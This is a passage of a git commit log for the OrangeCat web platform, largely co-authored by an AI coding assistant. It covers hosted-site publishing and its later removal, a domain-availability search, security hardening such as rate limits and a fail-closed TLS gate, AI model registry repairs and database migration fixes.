Claude-Session: https://claude.ai/code/session_012dpTLxh5GJWeWTF1UEvcD5

* chore: leave the CLAUDE.md owner line to #803

Both branches edit the same line; one owner avoids a conflict that would
stop CI running on whichever loses.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 07:03:52 +00:00
b9fb22114a chore(sites): remove hosted sites — OrangeCat is not the host (#785)
I built this on a wrong premise: that <name>.orangecat.ch means membership in
OrangeCat. It does not. It is an address on a domain George happens to own,
which is why petvity has a site and no profile, and why sinktattoo moved to its
own domain without moving a line of code.

Every site in this studio is its own repository from birth — aslan-tattoo,
kivvi, vitareba, petvity, botsmann, all of them. That is not an accident of
history, it is the property that makes a site handover-able, and a site that
lives inside this codebase can never be handed to anyone. Substrata was the only
violation, and it was mine.

Removed: the group_features 'site' feature, the profile-site renderer, the
positional host resolution and its reserved-subdomain list, the publish API, the
tls-check endpoint, the catch-all Caddy block, and Substrata's configs. Substrata
moves to its own repository, with its own design system — it currently renders in
OrangeCat's tokens and OrangeCat's orange, which is the visible form of the same
mistake.

The RLS policy needs its own DROP: deleting a migration file does not undo a
policy that already ran on production, and an anonymous SELECT grant is not
something to leave behind because nothing writes that row any more.

Kept, because they were never about hosted sites:
  - rateLimitDomainSearch — /api/v1/domains still fans one request out to 24
    registry lookups for an anonymous caller
  - the bounded RDAP result cache, keyed by caller input in a process that runs
    for weeks
  - clientIp(), collapsing the third copy of the x-forwarded-for read
  - the CodeQL fix for the URL substring test
  - type-check:scripts, which is why scripts/ is type-checked at all

verify green: 244 suites, 2406 tests.

Co-authored-by: Mao Nakamoto <georgy.butaev@revamp-it.ch>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-27 12:13:30 +00:00
370ccce976 feat(sites): make publishing a website a row, not a deploy (#783)
* feat(groups): a trading company whose whole book is singularity materials

Substrate Materials is a company profile with exactly one focus: the
physical inputs a technological singularity actually consumes. Software
is not the constraint — purified tin, neon, polysilicon, ruthenium,
transformer steel and rare-earth metal are, and each has a chokepoint, a
lead time and a counterparty.

The profile is a `group` (label 'company', public so a counterparty can
read the book before sending an RFQ), its own actor_type 'group' actor,
and a 15-line catalogue of `user_products` owned by that actor. Follows
the Revive My Old Ride convention: copy defined once in config, a
separate owner-gated seed writes it to the live DB.

What makes "solely focused" a rule rather than a slogan is the inclusion
test. A material is listed only if it moves one of three curves —
compute per joule, joules delivered, or actuation. Everything else is
declined, and the test is enforced: every listing must sit on a desk,
every desk on a curve, and no desk may sit empty.

- src/config/singularity-materials.ts — SSOT: mandate, exclusion rule,
  five desks, the catalogue, compliance stance, group + product payloads
- scripts/seed-singularity-materials.ts — idempotent, owner-gated seed
  (group by slug, actor by group_id, listings by (actor_id, title))
- test gating the payloads against the live CHECK constraints, the label
  / feature / governance registries, and the mandate itself

Treasury is deliberately not enabled: GROUP_FEATURES.treasury requires a
bitcoin_address the company does not yet have. Prices are indicative
reference levels, and every listing says so — a budgeting number, not a
quote. Export-controlled lines carry the licence and end-use conditions.

The seed has not been run; it needs the box's service-role key.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(groups): make the map the product — Substrate as an open research firm

Reframes the trading company into what it should have been from the start:
an open-source research firm covering the chokepoints between here and a
technological singularity, with a trading desk on the materials it knows
best. The asset is the map, not the book — trading a commodity and
researching a robotics company are the same work, so the map is the
product and the desk is one way to monetise it.

Two tests now gate the universe instead of one. A node must move a curve
(compute per joule, joules delivered, actuation) AND actually gate it, on
concentration, substitutability, lead time and demand inelasticity. The
unit of coverage is a chokepoint node, not an asset class — a node can be
a material, company, person, machine or process. That is what lets the
firm reach robotics, AI hardware and additive manufacturing without
becoming "everything": you arrive at them by tracing a chain you were
already mapping, so the graph grows by traversal rather than ambition.

Phase 1 is the producers of the fifteen: 92 producer leads across 85
distinct companies, for every material on the desk. Each row asserts a
name, a jurisdiction and a step in the chain, and nothing else. There is
no field for capacity, share, revenue or quality — those are the claims
that go stale in a quarter and move markets when wrong, and the research
phase is what adds them with a citation. Every row therefore starts at
source: null, which reads as an unverified lead; coverage is measured by
how many rows have a source, not by how many rows exist.

Disclosure is written now, before any position exists, because a firm
that publishes on what it trades and intends to own cannot install that
rule credibly afterwards.

- src/config/substrate.ts — firm: curves, chokepoint screen, node types,
  four phases, desks, catalogue, compliance, disclosure, group payload
- src/config/substrate-coverage.ts — Phase 1 universe + coverageProgress()
- tests: the schema gates, plus coverage follows the book both ways and
  no producer row can carry an unsourced claim it has no field for

Renamed from singularity-materials — the firm is no longer materials-only.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(domains): a profile spins up a whole website on its own hostname

/domains has been selling this sentence — "a working site, hosted and
managed at yourname.orangecat.ch" — with no mechanism behind it. This is
the mechanism, proved end to end on Substrate.

A request arriving on a hosted site's host is rewritten onto
/sites/<slug> and answered by a standalone website built from that
profile's own structured data. Rewrite, not redirect: the visitor's URL
bar keeps saying substrate.orangecat.ch, which is the entire point of
what is being sold. The path form keeps working on any host, so a site
is previewable before its DNS exists.

The website is not separately authored. Substrate's mandate, desks,
catalogue and coverage universe already existed as config because the
profile needed them; the five pages are those same objects rendered for
a different audience. Change the profile and the site changes with it —
and the map page cannot quietly drop the "unverified lead" caveat,
because the only data it has is the data the tests hold to source: null.

Adding a site is an entry in HOSTED_SITES plus a builder returning
SitePage[]. Pages are data, sections come from one closed set of shapes,
and one renderer serves every hosted site — which is what stops fifty
customer sites becoming fifty stylesheets.

- src/config/sites.ts — host → profile, pure and DB-free (edge hot path)
- src/config/site-content.ts — page/section model + per-site dispatch
- src/config/site-substrate.ts — Substrate's five pages, from its config
- src/middleware.ts — the host rewrite
- routes.ts + AppShell — 'site' is a fourth surface, not a chrome
  override, so a hosted site can never grow OrangeCat's header on
  somebody else's domain
- metadata uses title.absolute, so the tab says "Substrate", not
  "Substrate | OrangeCat"
- formatChf so a ruthenium quote reads CHF 15’000, in the listing the
  seed writes and on the site alike

Verified against a running server: the host rewrite resolves for
substrate.orangecat.ch, www., and substrate.localhost; orangecat.ch
itself is untouched; an unknown path under a site host 404s.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(domains): domain availability search, shared by OrangeCat and FleetCrown

Finding a name is the rung before the two services /domains already
sells — somebody with no domain cannot buy hosting for one. This adds
the check, as a public keyless v1 endpoint both products call rather
than a widget one of them owns.

THE RULE THIS IS BUILT AROUND

The obvious implementation asks a redirector for a domain and treats 404
as available. That implementation reports ORANGECAT.CH — this project's
own production domain — as free, because .ch operates no public RDAP
service and a redirector cannot distinguish "no such domain" from "no
such registry". The same false positive hits .io and .co.

So a TLD earns a definitive answer only by appearing in IANA's RDAP
bootstrap. Everything else — unsupported TLD, timeout, transport error,
odd status, bootstrap unreachable — is `unknown`, surfaced as "check
manually" with the reason. `unregistered` is reachable by exactly one
path: a bootstrapped registry that answered 404. Even then the copy says
premium pricing, registry reservations and trademark conflicts are not
visible here. A search tool that guesses is worse than one that admits
the gap, because the guess is what someone acts on.

- src/config/domain-search.ts — SSOT: bootstrap URL, TLDs, patterns,
  timeouts, and the status copy
- src/services/domains/availability.ts — bootstrap-gated RDAP lookup,
  cached, batched at a polite concurrency
- src/services/domains/suggest.ts — bare name across every TLD first,
  variants after; a caller may narrow the TLD list
- GET /api/v1/domains — registered in PUBLIC_API_INTEGRATION_ENDPOINTS
  beside search and demand, so FleetCrown gets it as a contract
- /domains grows a search box above the offer it feeds

19 tests, none touching the network, including one per no-RDAP TLD that
fails if the feature ever reports one of them as free.

Verified live: substrataintel.com and .ai unregistered; orangecat.ai and
orangecatlabs.com registered; orangecat.ch correctly unresolved rather
than free.

Note for deploy: the box needs outbound HTTPS to rdap.org and
data.iana.org, or every lookup degrades to "check manually".

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(sites): Substrata Intel at substrataintel.orangecat.ch, designed properly

Renames the firm to Substrata Intel (files and slug follow, so a reader
never finds substrate.ts exporting a company called something else) and
gives the hosted site a design rather than a stylesheet.

TWO CORRECTIONS TO THE BRIEF, BOTH CHECKED

No domain is bought. The site runs on the free subdomain the platform
already offers. And it is orangecat.CH, not .com: orangecat.com is
registered to someone and serves nothing, while every part of this
platform — CD, Caddy, the /domains copy, SITES_BASE_DOMAIN — is .ch.

THE DESIGN

Editorial, not marketing. Space Grotesk for display, IBM Plex Mono for
anything a reader compares down a column, Inter for prose at measure.
Monochrome surfaces; the warm accent appears exactly twice, on the
current nav item and the coverage bar; status colour only on status.

- Hero replaces the generic title block on the home page: eyebrow, one
  display statement, and a lead cut to two paragraphs. The two that were
  dropped are said better by the phase block and the desk page, and a
  lead nobody finishes is not a lead.
- Coverage meter. The single most important number on the site now has a
  picture, and at 0 of 92 that picture is an empty bar. Drawn from the
  same data as the map, so it cannot flatter the work.
- The map gets a jump index — fifteen tables without one is a scroll,
  not a document — and every anchor is tested to land on a real table.
- Tables are table-fixed with declared widths. Auto layout sized each of
  the fifteen to its own longest cell, so one long company name shifted
  every column out of line with the table above it.
- Status cells carry a dot. "Unverified lead" and "Sourced" are the two
  words on this site a reader must never skim past.
- Sections are numbered, headings sit on a hanging number, cards are
  top-ruled rather than boxed.
- Masthead is one row at every width; the nav scrolls sideways on a
  phone instead of wrapping, because a two-row sticky header ate a third
  of a 390px screen.

Renderer split into focused section components under components/sites/
sections/, dispatched from one place. Three new section kinds — hero,
meter, index — available to every future hosted site, not just this one.

Verified against a running server at 1280 and 390: the host rewrite
answers on substrataintel.orangecat.ch, the tab reads "Substrata Intel",
and orangecat.ch itself is untouched.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* refactor(sites): the firm is Substrata, at substrata.orangecat.ch

"Intel" was only ever a workaround for substrata.com being taken. On our
own subdomain there is no scarcity to work around, so the name is just
Substrata — config files, slug, subdomain and site all follow, and the
wordmark is one word again.

ORANGECAT.COM IS NOT OURS — DNS, not opinion:

  orangecat.ch   -> 167.233.22.31   (bitbaum, this platform)
  orangecat.com  -> 222.122.39.84   (KRNIC space, unrelated party)

So substrata.orangecat.com cannot be built: it would point a customer
site at somebody else's domain. The site is on .ch, where the CD, Caddy
and every line of the /domains copy already live. No multi-base-domain
plumbing was added for a .com we do not own — that is a constant to
change on the day it becomes true, not an abstraction to carry until then.

Also: the domain-search placeholder was one customer's name. It is
"yourname" now, matching the /domains copy.

Verified against a running server — substrata.orangecat.ch and
substrata.localhost both rewrite, the tab reads "Substrata", the retired
substrataintel host correctly no longer resolves as a site, and
orangecat.ch itself is untouched.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(substrata): no trading desk, and chokepoints that are not materials

Two corrections, both of which the site was getting wrong.

THE DESK DOES NOT EXIST

Standing a regulated commodities book up is a long road through
licensing, and none of it has been walked. Until then, prices, units,
lot sizes and invitations to deal are advertising a capability the firm
does not have — which is the single biggest untruth a page can carry,
and the one everything else here was built to prevent.

So the desk page is gone, along with every price, every unit, and the
product listings the seed wrote. The fifteen materials remain as
research subjects, keeping the part that was always research — why each
gates a curve, and which grade actually ships — folded into the map
where it belongs. The group advertises no marketplace, because there is
nothing to sell. `SCOPE.today` says plainly: we publish research, we do
not trade, broker, quote or arrange movement, and nothing here is an
offer or advice.

Disclosure keeps its rules even though there is nothing to declare —
a disclosure policy is only credible before it is needed — and now
opens by saying so. A desk survives only as a phase marked not-started,
described as an intention rather than a service.

Two tests keep it that way: one asserts a material carries no price,
unit or lot-size field, and one greps the config and the site builder
for dealing language. A config that quietly regrows a price field is a
config that puts an offer in front of a reader nobody may sell to.

MATERIALS ARE NOT THE ONLY CHOKEPOINT

The node taxonomy admitted machines, processes, companies and people
from the start, and then the universe contained nothing but materials.
Fourteen non-material chokepoints now sit alongside them: EUV scanners
with one supplier, projection optics that are a chokepoint inside a
chokepoint, packaging capacity allocated years ahead, HBM stacking
yield, transformer slots, interconnection queues, turbine order books,
magnet sintering, precision drives — and process engineers, the
constraint nobody can buy.

They enter on the same two tests and carry the same claim limits: what
the node is and why it gates, nothing about capacity, share or price,
every row unverified until sourced. A test now fails if the universe
ever collapses back to one kind of node, so "a node can be anything"
stays a fact about the coverage rather than a line in the config.

Rendered as cards, not a table: a grid of names and country codes scans
nicely and says nothing, and the claim IS the reason it gates.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(substrata): thesis, how to act on it, and the ledger to becoming the fund

Readers will want to do something with this research. Two new pages serve
that without crossing a line the firm has no licence to cross.

THE LINE, AND WHERE IT ACTUALLY IS

Publishing an impersonal, generally-circulated view is research.
Telling a particular person what to buy is advice, and advice is
licensed nearly everywhere. Less obviously: taking a fee for an
introduction is what converts "here is who the brokers are" into
regulated intermediation — introducing broker, tied agent, finder — in
Switzerland, the EU and the US alike. Being unpaid is not a detail of
that arrangement; it is the whole of what keeps it lawful.

So there is no referral list. `PARTNERS` is empty behind a flag, and the
gate is documented: a name appears only with an executed agreement AND
confirmation that the introduction itself needs no licence. The page
says so rather than leaving a blank space, because volunteering
somebody's name as an endorsement they never gave is the easier thing
to do and the wrong one.

WHAT THE PAGES DO INSTEAD

Six routes by which anyone acts in these markets, described as market
structure and not endorsement, each carrying what it does NOT give you
— the real failure mode here is misleading by omission, and a reader
who takes a commodity ETF as exposure to seven-nines tin has been
misled by what nobody said. One route is not financial at all:
for an industrial reader the highest-return action is usually
procurement, and the map is a supplier list as much as a research
product.

A thesis, six claims, each with a falsifier. A thesis without one is a
slogan, and a slogan cannot be scored — which also makes the track
record possible later.

A readiness ledger: nine requirements to manage money rather than only
publish, at 1 done and 2 in progress. Same discipline as the coverage
meter, and the licence line still reads not started, which is the whole
reason the other two pages are written the way they are.

Tests hold the line rather than good intentions: no partner may appear
while the gate is shut; every route must state its limitation; and the
whole site is grepped for directive language ("we recommend", "you
should buy", "guaranteed", "risk-free"). These erode quietly, one
helpful sentence at a time.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* feat(substrata): the participant directory, graded by scarcity

The ask was everyone in the singularity chain, seen through scarcity.
102 participants across ten layers, ore to buyer, each graded.

THE GRADE IS THE PRODUCT

A directory of everyone in a supply chain is a phone book. What makes
this research is the last column: chokepoint, concentrated, or
competitive. Grading participants "competitive" is not filler — it is
what makes "chokepoint" mean anything, and several well-known names are
in the list precisely because they are not constraints. A map where
every node is critical is a map nobody has read, so a test fails if all
three grades are not in use, and another fails if chokepoints ever
exceed half the list.

On the demand side the grade reads the other way: when a handful of
firms account for most of the world's orders, that concentration is a
scarcity fact about the chain too, pointing upstream instead of down.

Same claim limits as everywhere: name, layer, jurisdiction, role and a
scarcity judgement. Nothing about revenue, capacity or share, and every
row unsourced until an analyst attaches a source.

The page leads with the 24 that actually bind, as cards carrying the
reasoning, then the full directory as per-layer tables behind a jump
index.

ALSO

- Dropped the defensive framing from Acting. The limits are three
  plain lines now, and the "why there is no referral list" section is
  gone: a directory nobody paid to be in is the point, not a caveat.
- Domain aliases wired ahead of ownership. substrata.ch (intended home,
  appears free — .ch publishes no RDAP so a registrar has to confirm)
  and substrataintel.com (the .com fallback; substrata.com is taken).
  A host only reaches the check if DNS already points here, so listing
  them early costs nothing and means the site works the hour one is
  bought, with no deploy.
- The readiness ledger became definitions instead of a table. Three
  columns where one holds a paragraph is a table that scrolls sideways
  on a phone and is read by nobody.
- The nav is a client component for one reason: at eight sections the
  active item sat off-screen on a phone, so a visitor on a deep page saw
  no indication of where they were. It scrolls itself into view now.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* docs(seed): the seed header still described a firm that no longer exists

It said "Substrate", promised a trading desk, and claimed the script had
to run on the box. All three were stale: the firm is Substrata, there is
no desk, and the seed is PostgREST calls rather than psql — so it runs
from any machine that can reach supabase.orangecat.ch over HTTPS, no SSH
and no tunnel needed. That last one matters, because believing otherwise
is what makes a two-minute task look like it needs a maintenance window.

Also notes that the service-role key bypasses RLS, so the machine running
it is privileged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GF9GDWaBWYHCZ9iNwmfZ41

* fix(sites): close the five defects the architecture audit found

CodeQL was red on this branch with six alerts, which is why the PR could not
merge. All six were real but shallow: five unused locals, and one substring
test on a URL (`url.includes('data.iana.org')`) that also matches
`data.iana.org.evil.example`. It sat in a test — the worst place for it, since
tests are what the next lookup gets copied from.

The other four are the ones that mattered:

**60 KB of dead payload on every page load.** `SiteNav` is a client component
and was taking `SitePage[]`. Every prop crossing that boundary is serialised
into the RSC payload, so all eight Substrata pages shipped the entire site —
92 producer rows, 102 participants — to render eight links. Measured: 60.1 KB
carried, 0.33 KB used. It now takes `SiteNavItem[]`, the narrowest shape that
answers its question.

**A public keyless amplifier with no rate limit.** One request to
`/api/v1/domains` fans out to as many as 24 outbound RDAP lookups, and varying
the query defeats the cache. The cost of abuse was never our CPU — it was this
box's IP being throttled by the registries we depend on. Now behind
`rateLimitDomainSearch` (10 per 5 min), modelled on the ask-cat limiter, which
exists for exactly this shape: an expensive downstream call for an anonymous
caller.

**An unbounded cache keyed by caller input.** `resultCache` grew for as long as
the process did, and on the box that is weeks. The TTL did not bound it —
expired entries are only noticed when the same key returns, which an
enumerating caller never does. Capped, with a TTL sweep before LRU eviction,
and a test that fails if the cap stops holding.

**A seed that would break on the box, not in CI.** `seed-substrata.ts` used an
untyped client and five `as string` casts, so a column rename would surface by
hand, months later. Bound to the generated `Database` type; the casts are gone
because they are no longer needed.

Also collapsed the third copy of the x-forwarded-for read in rate-limit.ts into
`clientIp()`. A per-IP limiter is only as correct as its notion of "IP".

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(sites): publishing a website stops being a code change

A hosted site was an entry in a hardcoded array plus a hand-written builder.
That means every customer costs a pull request, a CI run and a deploy before
their domain resolves — which is the opposite of what /domains sells. Three
changes make an ordinary site cost nothing:

**Host resolution is positional, not a list.** `siteSlugForHost` asks whether a
Host header is SHAPED like a hosted site — one non-reserved label on
orangecat.ch — and never touches the database, because it runs in edge
middleware on every request to the whole app. Whether a site EXISTS is decided
downstream by the page, which is allowed to query. An unclaimed slug rewrites
and 404s, which is the safe direction.

That trade needs a reserved list to be safe, so there is one, and it is
load-bearing twice over: `supabase`/`bridge`/`fleetcrown` already serve
something else on this box, and `security.orangecat.ch` under our own
certificate is a phish, not a website. RESERVED_SUBDOMAINS covers both, and the
tests assert every entry refuses.

**A site is a row in a table that already exists.** `group_features` has
group_id, enabled, an audit column and a `config` jsonb, and its own header
already says adding a feature needs no code. Publishing a website is a
capability a group switches on, exactly like treasury. A `hosted_sites` table
would have duplicated all four columns and created a second answer to "what has
this group turned on". The new migration adds one RLS policy so a published site
is world-readable — the database decides "published", not TypeScript, and
`enabled = false` unpublishes instantly. jsonb is `any` wearing a hat, so it is
validated at the boundary with a per-field `.catch`: one malformed alias host
costs that alias, never the customer's website.

**An ordinary site has no builder.** `site-profile.ts` renders any group from
the profile it already filled in. Nothing is authored twice and nothing is
invented — no Support block without an address, no nav on a one-page site. The
dispatch that was a `switch` is now a map holding only the exceptions, because
that is what a bespoke builder is: Substrata's research corpus is not
profile-shaped, and it stays in the repository so it renders statically without
a database at all.

Net: a new site is a row and zero lines of code. 216 config tests green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(sites): a certificate for any customer domain, with no ssh

Positional host resolution gets a site routed. It does not get it a TLS
certificate, and without one the site is unreachable — so this is the other half
of "spinning up a site costs no infrastructure work".

The alternative was a wildcard certificate: a DNS-01 challenge, an Infomaniak
API token living on the box, a Caddy DNS plugin — and it still would not cover a
customer's own domain. On-demand TLS needs none of it and inverts the
relationship correctly: Caddy asks OrangeCat whether a hostname is real before
ordering a certificate, and OrangeCat already knows, because a site is a row.

`/api/internal/tls-check` is that gate, and it is written as a gate. Every 200 is
an ACME order and Let's Encrypt rate-limits an account that fails them, so
anyone who points a hostname here and requests it is spending our issuance
budget. Reserved subdomains are refused before any query runs, and a lookup that
throws denies — a database blip must not become an open certificate mint. Six
tests hold exactly those cases, including the fail-closed one.

The Caddy block lives in `deployment/caddy/` rather than only on the box,
because configuration that exists only on a box is configuration nobody can
review. `install-hosted-sites-caddy.sh` refuses to run until the ask endpoint
answers 200, backs up the Caddyfile, validates before reloading, and re-checks
the neighbours afterwards — one bad Caddyfile takes down all twenty-odd apps.

**RESERVED_SUBDOMAINS was wrong, and now cannot be.** Written by hand, it held
seven labels. The box is serving twenty-two. Fourteen live hostnames —
kivvi, vitareba, solon, supabase among them — were claimable as site slugs the
moment resolution became positional. The list is now generated from Caddy into
`deployment/reserved-hosts.txt`, and `check:reserved-hosts` is in `verify`, so
the next app deployed on this box fails the build until it is reserved. The gate
was tested by deleting an entry and confirming it goes red.

Live Caddyfile deliberately untouched: the ask endpoint is not deployed yet, and
enabling on-demand TLS before it exists would deny every request. Install after
the deploy.

438 tests green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* docs(sites): the runbook for turning a group into a website

Two audiences. Somebody publishing a site needs to know it is one row and no
deploy — and that the minute before it answers is a named constant, not a
mystery. Somebody deploying a new app on bitbaum needs to know why the build
suddenly fails on reserved hosts, because that failure is the whole point of
the gate and it will look like a bug the first time.

Both one-time infrastructure steps are written down with the reasoning kept,
including the one that cannot be automated from here: no Infomaniak API
credentials exist on a developer machine, so the wildcard A record is a human
action, once, forever.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(verify): type-check the scripts, so the seed's types mean something

The previous commit said binding seed-substrata.ts to the generated `Database`
type 'moves that failure to npm run type-check'. That was not true as
configured: tsconfig.json excludes scripts/**/*.ts so Next does not compile
them, and the side effect was that verify never looked at them at all. The
binding was decoration.

A seed is exactly the wrong place for that gap. It runs by hand, on the box,
months after the migration that broke it — the one script whose schema drift
surfaces in front of a person rather than in CI.

scripts/ was already at zero errors, so this gate starts green. Verified it
bites by mistyping a column name and watching it go red.

Deliberately not extended to __tests__: 119 pre-existing type errors live there
and fixing them is real work that does not belong to whichever change happens to
notice. Recorded rather than silently skipped.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(sites): publish a website with one call, not one INSERT

Everything underneath already worked off a single row, but the only way to
write that row was SQL. That is not "a few clicks" — it is a DBA. This is the
endpoint FleetCrown and the group settings UI call:

  GET    /api/groups/[slug]/site   status, address, eligibility
  PUT    /api/groups/[slug]/site   publish (upsert, so it also reconfigures)
  DELETE /api/groups/[slug]/site   unpublish, keeping the configuration

Three decisions worth naming:

**PUT is an upsert.** "Create a site" and "configure a site" would be two
states to reason about where the database has one row.

**GET answers `url` even when unpublished**, plus `eligible` and `reason`. It
costs nothing and it is the difference between a button that says "Publish" and
one that says "Publish at acme.orangecat.ch" — and between a group learning its
slug is reserved before it clicks or after.

**DELETE disables, it does not delete.** `enabled = false` is what both the RLS
policy and the resolver read, and keeping the row keeps the config, so taking a
site down for a week does not lose its custom domain.

The refusals are the tested part, because the worst failure here is a site that
exists in the database and never answers on the internet — the button said it
worked. A slug that is not a legal DNS label, a slug that already belongs to
infrastructure (`supabase`, `fleetcrown`) or invites a phish (`security`), and
a private group whose site RLS would hide from every visitor.

`check:sizes` refused the first version at 229 lines, which was the right
complaint: the route was doing domain work. Rules and writes now live in
services/sites/publish.ts, which imports nothing from `next/` — that one
`revalidateTag` import dragged Next's entire server runtime into any test that
touched these rules, and dropping a framework cache is the HTTP layer's job.

verify green: 250 suites, 2494 tests.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Mao Nakamoto <georgy.butaev@revamp-it.ch>
2026-08-27 08:42:17 +00:00
3a64708db1 fix(ai): the Groq registry was entirely retired, and the check could not see it (#781)
`platform-llm.ts` was repaired for this on 2026-08-26. Its comment records the
damage precisely — Groq stopped serving `llama-3.3-70b-versatile`, every
callPlatformJson caller returned null, and because each is written to degrade
gracefully, eight features degraded gracefully into doing nothing.

`src/services/ai/groq.ts` is the same outage, in the half nobody looked at.
`GROQ_MODELS` listed `llama-3.3-70b-versatile` and `llama-3.1-8b-instant` — the
registry named two models and served zero — and `DEFAULT_GROQ_MODEL`, the
baseline a free non-BYOK user gets, pointed at one of them.

`src/lib/ai/form-prefill-service.ts` then carried its OWN literal copy of the
same dead id, two lines' worth of import away from the constant that already
owned that decision. Its OpenRouter id beside it was correctly sourced from the
registry, which is what made the asymmetry easy to read past. It imports now.

── Why the existing guard stayed green ────────────────────────────────────────

`npm run check:ai-models` exists, and this is exactly what it is for. It read
two ids: the platform-llm Groq pin and the OpenRouter free default. It reported
"every pinned model is still served" while an entire registry of retired ids sat
beside it, because they were never in its list.

A green check on a two-item list reads exactly like a green check on the repo.
It now reads the registry as a WHOLE — the keys of GROQ_MODELS are every Groq id
this codebase can select — so a model added there is covered without editing the
script. Ids pinned in two places are asked once. An unreadable registry reports
a failure rather than an empty list, since silence was the original bug.

Verified by mutation, not assumed: putting `llama-3.1-8b-instant` back into the
registry makes the check exit 1 naming that id. Before this change it exited 0.

The script is still not part of `npm run verify`, deliberately — it needs live
API keys and would fail closed in any environment without them. The fleet-wide
equivalent that does run unattended is dotfiles/scripts/ci/model-pin-audit.mjs,
which asks both vendors daily and now covers this repo properly.

── Detail ─────────────────────────────────────────────────────────────────────

Metadata is Groq's own, from GET /models on 2026-08-27: both replacements report
a 131072 context window and 65536 max completion. The old entries claimed
128000/32768 and 128000/8192 — approximations of ids that no longer existed.

The reasoning behind the default is kept because it survives the ids: take the
most capable free model, since there are no fiat rails to buy a better one, and
accept that a larger model exhausts the daily cap sooner because the chain rolls
to OpenRouter when it does.

`check:sizes` failed at 507 lines on the first pass — the comments above were
longer than they needed to be. Tightened rather than granted an exception; the
file is now 492, one line below where it started.

verify: docs, accent-ink, type-check, sizes, routes, lint, duplication,
dead-fields, migrations, schema columns, currency units, rpc, mdx,
243 suites / 2386 tests.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 23:27:07 +00:00
315a8b93c5 fix(invariants): the email-handle floor is zero now, because they are all retired (#780)
The ratchet was set to 77 — a live population that could not simply be
renamed, because a username on OrangeCat is also a Lightning address and
a public profile URL.

scripts/rename-email-derived-usernames.sql retired every one of them on
production, behind profile_username_history so nothing that pointed at an
old handle broke:

  INSERT 0 53   history rows recorded first
  UPDATE 53     handles replaced with user_<12 hex>
  UPDATE 14     display names that were also the email local part cleared

Verified against production afterwards, not assumed:

  email_derived_remaining      0
  name_eq_localpart_remaining  0
  history_rows                54, none orphaned
  count_email_derived_usernames()  0

And end to end on a real retired handle: the old profile URL returns 308
to the new one, and the LNURL endpoint resolves the owner through history
(it answers under the NEW handle, which is what proves the lookup found
the right account).

The count of 53 rather than the 77 originally measured is test-account
churn between the two readings — the population moved 108 -> 96 profiles
while E2E accounts were created and deleted, and 16 accounts had already
signed up under the fixed trigger.

So the constant becomes 0 and stops being a ratchet. A violation now
means a write path started minting them again; the three that used to —
the handle_new_user trigger, ensureProfile(), and two profile form
pre-fills — are each covered by a test, so a hit here means a fourth was
added. The message says that instead of talking about a baseline that no
longer exists.

npm run verify green; 2385 tests pass.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-27 00:11:27 +02:00
95875c4598 fix(migrations): unbreak main, and stop two sessions sharing a version number (#779)
main is red and CD has stopped deploying for the whole repo. Migration
Replay aborts with:

  ERROR: duplicate key value violates unique constraint
         "schema_migrations_pkey"
  Key (version)=(20260826180000) already exists.

Supabase keys its ledger on the numeric PREFIX of the filename
(supabase_migrations.schema_migrations.version, a PRIMARY KEY), not on
the whole name. Two sessions working in parallel each timestamped a
migration 20260826180000 — mention_queue_all_mentions and
resolve_username_history_rpc — so to the ledger they are one migration,
and replaying them dies.

git cannot catch this. Neither file conflicts with the other: different
names, different contents, no overlapping lines. Only the ledger notices,
and by then it is on main, where it blocks the deploy carrying the fix
each session was waiting on.

Renamed mine to 20260826181500. Nothing else about it changes; the
collision is entirely in the filename.

Then closed the class, because "pick a unique timestamp" is exactly the
kind of instruction that works until two people are typing at once:
scripts/check-migration-versions.mjs fails when any two migrations share
a version prefix, and it runs inside `verify`, so a collision costs one
red PR check instead of a blocked pipeline. Verified by reintroducing a
duplicate and watching it name both files, then passing on a clean tree.

npm run verify green; 2385 tests pass.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 23:46:05 +02:00
de30fdb346 feat(profiles): let a handle be retired without breaking what points at it (#773)
75 accounts still publish their email local part as a public username.
Renaming them is the fix, and #769/#770 deliberately renamed nobody,
because a username here is not just a display name:

